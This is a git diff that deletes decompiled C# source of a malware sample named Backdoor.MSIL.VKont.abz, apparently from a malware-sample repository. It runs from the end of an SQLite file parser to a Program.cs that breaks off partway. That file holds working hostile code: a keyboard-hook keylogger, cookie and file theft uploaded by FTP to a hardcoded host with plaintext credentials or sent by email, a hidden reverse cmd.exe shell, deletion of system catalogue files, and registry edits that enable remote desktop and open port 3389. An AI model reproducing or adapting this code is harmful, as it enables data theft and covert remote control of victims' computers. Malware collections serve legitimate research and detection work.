- object Left1 = (object) this.GVL(checked ((int) integer));
- this.CVL(checked ((int) integer), Conversions.ToInteger(Left1));
- object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)));
- this.table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2));
- ulong num4 = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1));
- object Right1 = (object) this.GVL(checked ((int) num4));
- object Left3 = RuntimeHelpers.GetObjectValue(Right1);
- long num5 = this.CVL(checked ((int) num4), Conversions.ToInteger(Right1));
- long Left4 = Conversions.ToLong(Operators.AddObject(Operators.SubtractObject((object) num4, Right1), (object) 1));
- object Left5 = (object) 0;
- SQLiteHandler.record_header_field[] arySrc;
- while (Left4 < num5)
- {
- arySrc = (SQLiteHandler.record_header_field[]) Utils.CopyArray((Array) arySrc, (Array) new SQLiteHandler.record_header_field[checked (Conversions.ToInteger(Left5) + 1)]);
- object Right2 = Operators.AddObject(Left3, (object) 1);
- Left3 = (object) this.GVL(Conversions.ToInteger(Right2));
- arySrc[Conversions.ToInteger(Left5)].type = this.CVL(Conversions.ToInteger(Right2), Conversions.ToInteger(Left3));
- arySrc[Conversions.ToInteger(Left5)].size = arySrc[Conversions.ToInteger(Left5)].type <= 9L ? (long) this.SQLDataTypeSize[checked ((int) arySrc[Conversions.ToInteger(Left5)].type)] : (!this.IsOdd(arySrc[Conversions.ToInteger(Left5)].type) ? checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 12L) / 2.0))) : checked ((long) Math.Round(unchecked ((double) checked (arySrc[Conversions.ToInteger(Left5)].type - 13L) / 2.0))));
- Left4 = Conversions.ToLong(Operators.AddObject(Operators.AddObject((object) Left4, Operators.SubtractObject(Left3, Right2)), (object) 1));
- Left5 = Operators.AddObject(Left5, (object) 1);
- }
- this.table_entries[checked (num1 + num3)].content = new string[checked (arySrc.Length - 1 + 1)];
- int num6 = 0;
- int num7 = checked (arySrc.Length - 1);
- int index = 0;
- while (index <= num7)
- {
- if (arySrc[index].type > 9L)
- {
- if (!this.IsOdd(arySrc[index].type))
- {
- if (Decimal.Compare(new Decimal(this.encoding), 1M) == 0)
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- else if (Decimal.Compare(new Decimal(this.encoding), 2M) == 0)
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- else if (Decimal.Compare(new Decimal(this.encoding), 3M) == 0)
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- }
- else
- this.table_entries[checked (num1 + num3)].content[index] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size));
- }
- else
- this.table_entries[checked (num1 + num3)].content[index] = Conversions.ToString(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(num4), new Decimal(num5)), new Decimal(num6))), checked ((int) arySrc[index].size)));
- num6 = checked ((int) ((long) num6 + arySrc[index].size));
- checked { ++index; }
- }
- checked { ++num3; }
- }
- }
- else if (this.db_bytes[checked ((int) Offset)] == (byte) 5)
- {
- int uint16 = (int) Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num = 0;
- while (num <= uint16)
- {
- ushort integer = checked ((ushort) this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 12M), new Decimal(num * 2))), 2));
- this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(checked ((int) (Offset + (ulong) integer)), 4)), 1M), new Decimal((int) this.page_size))));
- checked { ++num; }
- }
- this.ReadTableFromOffset(Convert.ToUInt64(Decimal.Multiply(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 8M)), 4)), 1M), new Decimal((int) this.page_size))));
- }
- return true;
- }
-
- public bool ReadTable(string TableName)
- {
- int index1 = -1;
- int length = this.master_table_entries.Length;
- int index2 = 0;
- while (index2 <= length)
- {
- if (this.master_table_entries[index2].item_name.ToLower().CompareTo(TableName.ToLower()) == 0)
- {
- index1 = index2;
- break;
- }
- checked { ++index2; }
- }
- if (index1 == -1)
- return false;
- object[] objArray1 = (object[]) this.master_table_entries[index1].sql_statement.Substring(checked (this.master_table_entries[index1].sql_statement.IndexOf("(") + 1)).Split(',');
- int num = checked (objArray1.Length - 1);
- int index3 = 0;
- while (index3 <= num)
- {
- objArray1[index3] = (object) Strings.LTrim(Conversions.ToString(objArray1[index3]));
- object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1]
- {
- (object) " "
- }, (string[]) null, (Type[]) null, (bool[]) null));
- if (Operators.ConditionalCompareObjectGreater(objectValue1, (object) 0, false))
- {
- object[] objArray2 = objArray1;
- int index4 = index3;
- object Instance = objArray1[index3];
- object[] objArray3 = new object[2]
- {
- (object) 0,
- RuntimeHelpers.GetObjectValue(objectValue1)
- };
- object[] Arguments = objArray3;
- bool[] flagArray = new bool[2]{ false, true };
- bool[] CopyBack = flagArray;
- object obj = NewLateBinding.LateGet(Instance, (Type) null, "Substring", Arguments, (string[]) null, (Type[]) null, CopyBack);
- if (flagArray[1])
- RuntimeHelpers.GetObjectValue(objArray3[1]);
- object objectValue2 = RuntimeHelpers.GetObjectValue(obj);
- objArray2[index4] = objectValue2;
- }
- if (!Operators.ConditionalCompareObjectEqual(NewLateBinding.LateGet(objArray1[index3], (Type) null, "IndexOf", new object[1]
- {
- (object) "UNIQUE"
- }, (string[]) null, (Type[]) null, (bool[]) null), (object) 0, false))
- {
- this.field_names = (string[]) Utils.CopyArray((Array) this.field_names, (Array) new string[checked (index3 + 1)]);
- this.field_names[index3] = Conversions.ToString(objArray1[index3]);
- checked { ++index3; }
- }
- else
- break;
- }
- return this.ReadTableFromOffset(checked ((ulong) ((this.master_table_entries[index1].root_num - 1L) * (long) this.page_size)));
- }
-
- public int GetRowCount() => this.table_entries.Length;
-
- public string GetValue(int row_num, int field)
- {
- if (row_num >= this.table_entries.Length)
- return (string) null;
- return field >= this.table_entries[row_num].content.Length ? (string) null : this.table_entries[row_num].content[field];
- }
-
- public string GetValue(int row_num, string field)
- {
- int field1 = -1;
- int length = this.field_names.Length;
- int index = 0;
- while (index <= length)
- {
- if (this.field_names[index].ToLower().CompareTo(field.ToLower()) == 0)
- {
- field1 = index;
- break;
- }
- checked { ++index; }
- }
- return field1 == -1 ? (string) null : this.GetValue(row_num, field1);
- }
-
- public string[] GetTableNames()
- {
- object Left = (object) 0;
- int num = checked (this.master_table_entries.Length - 1);
- int index = 0;
- string[] arySrc;
- while (index <= num)
- {
- if (Operators.CompareString(this.master_table_entries[index].item_type, "table", false) == 0)
- {
- arySrc = (string[]) Utils.CopyArray((Array) arySrc, (Array) new string[checked (Conversions.ToInteger(Left) + 1)]);
- arySrc[Conversions.ToInteger(Left)] = this.master_table_entries[index].item_name;
- Left = Operators.AddObject(Left, (object) 1);
- }
- checked { ++index; }
- }
- return arySrc;
- }
-
- public SQLiteHandler(string baseName)
- {
- this.SQLDataTypeSize = new byte[10]
- {
- (byte) 0,
- (byte) 1,
- (byte) 2,
- (byte) 3,
- (byte) 4,
- (byte) 6,
- (byte) 8,
- (byte) 8,
- (byte) 0,
- (byte) 0
- };
- if (!File.Exists(baseName))
- return;
- FileSystem.FileOpen(1, baseName, OpenMode.Binary, OpenAccess.Read, OpenShare.Shared);
- string s = Strings.Space(checked ((int) FileSystem.LOF(1)));
- FileSystem.FileGet(1, ref s);
- FileSystem.FileClose(1);
- this.db_bytes = Encoding.Default.GetBytes(s);
- if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0)
- throw new Exception("Not a valid SQLite 3 Database File");
- if (this.db_bytes[52] != (byte) 0)
- throw new Exception("Auto-vacuum capable database is not supported");
- if (Decimal.Compare(new Decimal(this.ConvertToInteger(44, 4)), 4M) >= 0)
- throw new Exception("No supported Schema layer file-format");
- this.page_size = checked ((ushort) this.ConvertToInteger(16, 2));
- this.encoding = this.ConvertToInteger(56, 4);
- if (Decimal.Compare(new Decimal(this.encoding), 0M) == 0)
- this.encoding = 1UL;
- this.ReadMasterTable(100UL);
- }
-
- private struct record_header_field
- {
- public long size;
- public long type;
- }
-
- private struct table_entry
- {
- public long row_id;
- public string[] content;
- }
-
- private struct sqlite_master_entry
- {
- public long row_id;
- public string item_type;
- public string item_name;
- public string astable_name;
- public long root_num;
- public string sql_statement;
- }
-}
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.csproj b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.csproj
deleted file mode 100644
index 75659e63..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.csproj
+++ /dev/null
@@ -1,43 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {66B96048-7725-4081-BCFA-13ADE4E2D67D}
- Exe
- востановление пароля
- 0.0.0.0
- Troj
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.sln b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.sln
deleted file mode 100644
index 0a78fbca..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Backdoor.MSIL.VKont.abz.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "востановление пароля", "Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c.csproj", "{66B96048-7725-4081-BCFA-13ADE4E2D67D}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {66B96048-7725-4081-BCFA-13ADE4E2D67D}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Program.cs b/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Program.cs
deleted file mode 100644
index 4c91c3eb..00000000
--- a/MSIL/Backdoor/MSIL/V/Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c/Program.cs
+++ /dev/null
@@ -1,849 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Troj.Program
-// Assembly: востановление пароля, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: A3626AED-1D1A-43A6-BB7A-1A4E746B6DD2
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.VKont.abz-24ab15f4ee99f3225c4efd83cd250c2707b9a2d7d7f26aeae3b0c764f3d1fc7c.exe
-
-using Microsoft.Win32;
-using System;
-using System.Diagnostics;
-using System.DirectoryServices;
-using System.Drawing;
-using System.Drawing.Imaging;
-using System.IO;
-using System.Net;
-using System.Net.Mail;
-using System.Net.Sockets;
-using System.Runtime.InteropServices;
-using System.Text;
-using System.Threading;
-using System.Windows.Forms;
-
-namespace Troj
-{
- public class Program
- {
- private const int WH_KEYBOARD_LL = 13;
- private const int WM_KEYDOWN = 256;
- private static int svsex;
- private static int sdosta;
- private static string logkey;
- private static int keycount = 0;
- private static Thread[] thkey;
- private static Thread[] tcherez;
- private static int cerezcount = 0;
- private static int keyI;
- private static string strbug;
- private static string strbuftx;
- private static string buflyb;
- private static int ftpi;
- private static int countGroup = 0;
- private static Program.LowLevelKeyboardProc _proc = new Program.LowLevelKeyboardProc(Program.HookCallback);
- private static IntPtr _hookID = IntPtr.Zero;
- private static Thread th;
- private static TcpClient socketForServer;
- private static NetworkStream networkStream;
- private static StreamWriter streamWriter;
- private static StreamReader streamReader;
- private static Process processCmd;
- private static StringBuilder strInput;
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr SetWindowsHookEx(
- int idHook,
- Program.LowLevelKeyboardProc lpfn,
- IntPtr hMod,
- uint dwThreadId);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- [return: MarshalAs(UnmanagedType.Bool)]
- private static extern bool UnhookWindowsHookEx(IntPtr hhk);
-
- [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr CallNextHookEx(
- IntPtr hhk,
- int nCode,
- IntPtr wParam,
- IntPtr lParam);
-
- [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
- private static extern IntPtr GetModuleHandle(string lpModuleName);
-
- [DllImport("user32.dll")]
- public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
-
- [DllImport("user32.dll")]
- private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
-
- private static void SearchAll(
- string disk,
- string n_file,
- string smail,
- string sftp,
- string spapka)
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(disk);
- try
- {
- foreach (DirectoryInfo directory in directoryInfo.GetDirectories())
- {
- try
- {
- foreach (FileSystemInfo file in directory.GetFiles(n_file, SearchOption.TopDirectoryOnly))
- Program.CherezShto(file.FullName, smail, sftp, spapka);
- }
- catch
- {
- }
- Program.SearchAll(directory.FullName, n_file, smail, sftp, spapka);
- }
- }
- catch
- {
- }
- }
-
- private static IntPtr SetHook(Program.LowLevelKeyboardProc proc)
- {
- using (Process currentProcess = Process.GetCurrentProcess())
- {
- using (ProcessModule mainModule = currentProcess.MainModule)
- return Program.SetWindowsHookEx(13, proc, Program.GetModuleHandle(mainModule.ModuleName), 0U);
- }
- }
-
- private static string TimeNow()
- {
- DateTime now = DateTime.Now;
- return now.Year.ToString() + "-" + now.Month.ToString() + "-" + now.Day.ToString() + "-" + now.Hour.ToString() + "-" + now.Minute.ToString() + "-" + now.Second.ToString();
- }
-
- private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
- {
- Program.thkey = new Thread[128];
- if (nCode >= 0 && wParam == (IntPtr) 256)
- {
- int num = Marshal.ReadInt32(lParam);
- if (num == 13)
- {
- Program.logkey += "\n";
- }
- else
- {
- ++Program.sdosta;
- ++Program.svsex;
- Program.logkey = Program.logkey + (object) (Keys) num + ";";
- if (Program.sdosta == 0)
- {
- Program.sdosta = 0;
- Program.TimeNow();
- if (Program.keycount > 120)
- Program.keycount = 0;
- Program.logkey = (string) null;
- }
- }
- }
- return Program.CallNextHookEx(Program._hookID, nCode, wParam, lParam);
- }
-
- public static void SearchonDisk(string tmp_file, string smail, string sftp, string spapka)
- {
- try
- {
- foreach (string logicalDrive in Directory.GetLogicalDrives())
- Program.SearchAll(logicalDrive, tmp_file, smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- public static bool CherezShto(string strfile, string nmail, string nftp, string pftp)
- {
- if (nmail == "True" || nmail == "true")
- Program.Sendmailfile(strfile, "User send you message : " + strfile, "null", 0, "null", "null", "null", false);
- if (nftp == "True" || nmail == "true")
- Program.Upload_ftp(strfile, "troj005.aiq.ru", "u349995", "la3uw4b5", pftp);
- return true;
- }
-
- public static void CreatFileIEforXP(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists("null"))
- System.IO.File.Delete("null");
- try
- {
- string[] directories1 = Directory.GetDirectories("C:\\Documents and Settings\\");
- string[] strArray1 = new string[directories1.Length];
- for (int index1 = 0; index1 < directories1.Length; ++index1)
- {
- if (!(directories1[index1] == "C:\\Documents and Settings\\All Users") && !(directories1[index1] == "C:\\Documents and Settings\\LocalService") && !(directories1[index1] == "C:\\Documents and Settings\\Default User") && !(directories1[index1] == "C:\\Documents and Settings\\NetworkService"))
- {
- strArray1[index1] = directories1[index1].Substring(26);
- string[] directories2 = Directory.GetDirectories("C:\\Documents and Settings\\" + strArray1[index1].ToString());
- string[] strArray2 = new string[directories2.Length];
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8);
- for (int index2 = 0; index2 < directories2.Length; ++index2)
- {
- strArray2[index2] = directories2[index2].Substring(26 + strArray1[index1].Length);
- if (strArray2[index2] == "\\Cookies")
- {
- string[] files = Directory.GetFiles("C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString(), "*.txt");
- string[] strArray3 = new string[files.Length];
- for (int index3 = 0; index3 < files.Length; ++index3)
- {
- strArray3[index3] = files[index3].Substring(26 + strArray1[index1].Length + strArray2[index2].Length);
- string path = "C:\\Documents and Settings\\" + strArray1[index1].ToString() + strArray2[index2].ToString() + strArray3[index3].ToString();
- streamReader = new StreamReader((Stream) new FileStream(path, FileMode.Open, FileAccess.Read));
- string str = path + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- break;
- }
- }
- }
- }
- Program.CherezShto("null", smail, sftp, spapka);
- }
- catch
- {
- if (!System.IO.File.Exists("null"))
- return;
- Program.CherezShto("null", smail, sftp, spapka);
- }
- }
-
- public static bool Sendmailfile(
- string temp,
- string user,
- string ssmtp,
- int sport,
- string smail,
- string spass,
- string vmail,
- bool sssl)
- {
- Attachment attachment = new Attachment(temp, "application/octet-stream");
- bool flag;
- try
- {
- SmtpClient smtpClient = new SmtpClient(ssmtp, sport);
- smtpClient.Credentials = (ICredentialsByHost) new NetworkCredential(smail, spass);
- smtpClient.EnableSsl = sssl;
- MailMessage message = new MailMessage();
- message.From = new MailAddress(smail);
- message.To.Add(new MailAddress(vmail));
- message.Subject = user;
- message.Body = user;
- message.Attachments.Add(attachment);
- smtpClient.Send(message);
- attachment.Dispose();
- flag = true;
- }
- catch
- {
- flag = false;
- attachment.Dispose();
- }
- return flag;
- }
-
- private static bool Upload_ftp(
- string filename,
- string ftpServerIP,
- string ftpUserID,
- string ftpPassword,
- string papka)
- {
- ++Program.ftpi;
- FileInfo fileInfo = new FileInfo(filename);
- FtpWebRequest ftpWebRequest = (FtpWebRequest) WebRequest.Create(new Uri("ftp://" + ftpServerIP + "/" + papka + "/" + Program.TimeNow() + "-" + fileInfo.Name));
- ftpWebRequest.Proxy = (IWebProxy) null;
- ftpWebRequest.Credentials = (ICredentials) new NetworkCredential(ftpUserID, ftpPassword);
- ftpWebRequest.KeepAlive = false;
- ftpWebRequest.Method = "STOR";
- ftpWebRequest.UseBinary = true;
- ftpWebRequest.ContentLength = fileInfo.Length;
- int count1 = 2048;
- byte[] buffer = new byte[count1];
- FileStream fileStream = fileInfo.OpenRead();
- try
- {
- Stream requestStream = ftpWebRequest.GetRequestStream();
- for (int count2 = fileStream.Read(buffer, 0, count1); count2 != 0; count2 = fileStream.Read(buffer, 0, count1))
- requestStream.Write(buffer, 0, count2);
- requestStream.Close();
- fileStream.Close();
- return true;
- }
- catch
- {
- return false;
- }
- }
-
- public static void userVista(
- string disk,
- string n_file,
- string m_send,
- string smail,
- string sftp,
- string spapka)
- {
- if (m_send == "c_send")
- {
- try
- {
- string path = "C:\\Users";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- Program.SearchAll(directories[index] + disk, n_file, smail, sftp, spapka);
- }
- }
- }
- }
- catch
- {
- }
- }
- }
- catch
- {
- }
- }
- if (!(m_send == "p_send"))
- return;
- Program.SearchAll(disk, n_file, smail, sftp, spapka);
- }
-
- public static void CreatFileIEforVista(string smail, string sftp, string spapka)
- {
- if (System.IO.File.Exists("null"))
- System.IO.File.Delete("@null");
- try
- {
- string path = "C:\\Users";
- string searchPattern = "*.txt";
- string[] directories = Directory.GetDirectories(path);
- for (int index = 0; index < directories.Length; ++index)
- {
- try
- {
- if (!(directories[index] == path + "\\All Users"))
- {
- if (!(directories[index] == path + "\\Default"))
- {
- if (!(directories[index] == path + "\\Default User"))
- {
- if (!(directories[index] == path + "\\Public"))
- {
- foreach (string directory in Directory.GetDirectories(directories[index] + "\\AppData\\Roaming\\Microsoft\\Windows\\Cookies"))
- {
- try
- {
- DirectoryInfo directoryInfo = new DirectoryInfo(directory);
- StreamReader streamReader = (StreamReader) null;
- StreamWriter streamWriter = new StreamWriter("null", true, Encoding.UTF8);
- foreach (FileInfo file in directoryInfo.GetFiles(searchPattern, SearchOption.TopDirectoryOnly))
- {
- streamReader = new StreamReader((Stream) new FileStream(file.FullName, FileMode.Open, FileAccess.Read));
- string str = file.FullName + "\n" + streamReader.ReadToEnd();
- streamWriter.Write(str);
- }
- streamReader.Close();
- streamWriter.Close();
- }
- catch
- {
- }
- }
- }
- }
- }
- }
- }
- catch
- {
- }
- }
- Program.CherezShto("null", smail, sftp, spapka);
- }
- catch
- {
- }
- }
-
- [STAThread]
- private static void Main(string[] args)
- {
- Console.Title = args.Length != 0 ? args[0].ToString() : "Hello";
- Program.ShowWindow(Program.FindWindow((string) null, Console.Title), 0);
- }
-
- public static void Backdoor()
- {
- try
- {
- Thread tsend = new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.processCmd = new Process();
- Program.processCmd.StartInfo.FileName = "cmd.exe";
- Program.processCmd.StartInfo.CreateNoWindow = true;
- Program.processCmd.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;
- Program.processCmd.StartInfo.UseShellExecute = false;
- Program.processCmd.StartInfo.RedirectStandardOutput = true;
- Program.processCmd.StartInfo.RedirectStandardInput = true;
- Program.processCmd.StartInfo.RedirectStandardError = true;
- Program.processCmd.OutputDataReceived += new DataReceivedEventHandler(Program.proc);
- Program.processCmd.Start();
- Program.processCmd.BeginOutputReadLine();
- Program.strInput = new StringBuilder();
- try
- {
- while (true)
- {
- Program.strInput.Append(Program.streamReader.ReadLine());
- Program.strInput.Append("\n");
- Program.processCmd.StandardInput.WriteLine((object) Program.strInput);
- Program.processCmd.StandardInput.Flush();
- Program.strInput.Remove(0, Program.strInput.Length);
- }
- }
- catch (Exception ex)
- {
- }
- }
- catch
- {
- }
- }));
- new Thread((ThreadStart) (() =>
- {
- try
- {
- Program.socketForServer = new TcpClient("0", 0);
- Program.networkStream = Program.socketForServer.GetStream();
- Program.streamReader = new StreamReader((Stream) Program.networkStream);
- Program.streamWriter = new StreamWriter((Stream) Program.networkStream);
- tsend.Start();
- }
- catch
- {
- }
- })).Start();
- }
- catch
- {
- }
- }
-
- private static void proc(object sender, DataReceivedEventArgs e)
- {
- StringBuilder stringBuilder = new StringBuilder();
- if (string.IsNullOrEmpty(e.Data))
- return;
- try
- {
- stringBuilder.Append(e.Data);
- Program.streamWriter.WriteLine((object) stringBuilder);
- Program.streamWriter.Flush();
- }
- catch
- {
- }
- }
-
- public static void FileP()
- {
- try
- {
- if (Directory.Exists(Environment.SystemDirectory + "\\Dllcache"))
- {
- int length = Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache").Length;
- for (int index = 0; index < length; ++index)
- {
- try
- {
- System.IO.File.Delete(Directory.GetFiles(Environment.SystemDirectory + "\\Dllcache")[0]);
- }
- catch
- {
- }
- }
- }
- if (!Directory.Exists(Environment.SystemDirectory + "\\CatRoot"))
- return;
- for (int index1 = 0; index1 < Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot").Length; ++index1)
- {
- for (int index2 = 0; index2 < Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1]).Length; ++index2)
- {
- FileInfo fileInfo = new FileInfo(Directory.GetFiles(Directory.GetDirectories(Environment.SystemDirectory + "\\CatRoot")[index1])[index2]);
- try
- {
- Console.WriteLine(fileInfo.Name);
- fileInfo.Delete();
- --index2;
- }
- catch
- {
- }
- }
- }
- }
- catch
- {
- }
- }
-
- public static void RegConfig()
- {
- try
- {
- Registry.LocalMachine.OpenSubKey("SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core", true).SetValue("EnableConcurrentSessions", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon", true).SetValue("AllowMultipleTSSessions", (object) "00000001", RegistryValueKind.DWord);
- RegistryKey registryKey1 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History\\{35378EAC-683F-11D2-A89A-00C04FBBCFA2}\\0", true);
- registryKey1.SetValue("Options", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Version", (object) "00010001", RegistryValueKind.DWord);
- registryKey1.SetValue("GPOLink", (object) "00000001", RegistryValueKind.DWord);
- registryKey1.SetValue("lParam", (object) "00000000", RegistryValueKind.DWord);
- registryKey1.SetValue("Extensions", (object) "[{35378EAC-683F-11D2-A89A-00C04FBBCFA2}{0F6B957D-509E-11D1-A7CC-0000F87571E3}]", RegistryValueKind.String);
- registryKey1.SetValue("Link", (object) "Local", RegistryValueKind.String);
- RegistryKey registryKey2 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Control\\Terminal Server", true);
- registryKey2.SetValue("fDenyTSConnections", (object) "00000000", RegistryValueKind.DWord);
- registryKey2.SetValue("fEnableSalem", (object) "00000000", RegistryValueKind.DWord);
- RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\RDPWD\\Enum", true);
- registryKey3.SetValue("0", (object) "Root\\LEGACY_RDPWD\\0000", RegistryValueKind.String);
- registryKey3.SetValue("Count", (object) "00000001", RegistryValueKind.DWord);
- registryKey3.SetValue("NextInstance", (object) "00000001", RegistryValueKind.DWord);
- Registry.LocalMachine.OpenSubKey("SYSTEM\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\DomainProfile\\GloballyOpenPorts\\List", true).SetValue("3389:TCP", (object) "3389:TCP:*:Enabled:@xpsp2res.dll,-22009", RegistryValueKind.String);
